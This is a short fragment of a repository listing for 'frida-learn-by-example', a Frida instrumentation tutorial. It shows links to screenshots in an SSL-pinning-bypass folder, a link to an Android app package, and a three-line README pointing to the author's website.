https://raw.githubusercontent.com/illnino/frida-learn-by-example/5d13d9ebc73b3848a61fba0273ab3644bfcbca68/7. ssl_pinning_bypass/jadx-gui_-_com_onlycoin_android.png -------------------------------------------------------------------------------- /7. ssl_pinning_bypass/sslpinning.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/illnino/frida-learn-by-example/5d13d9ebc73b3848a61fba0273ab3644bfcbca68/7. ssl_pinning_bypass/sslpinning.png -------------------------------------------------------------------------------- /8. staples/app.staples-2.apk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/illnino/frida-learn-by-example/5d13d9ebc73b3848a61fba0273ab3644bfcbca68/8. staples/app.staples-2.apk -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # frida-learn-by-example 2 | 3 | For more details, visit http://www.ninoishere.com/frida-learn-by-example/ 4 | --------------------------------------------------------------------------------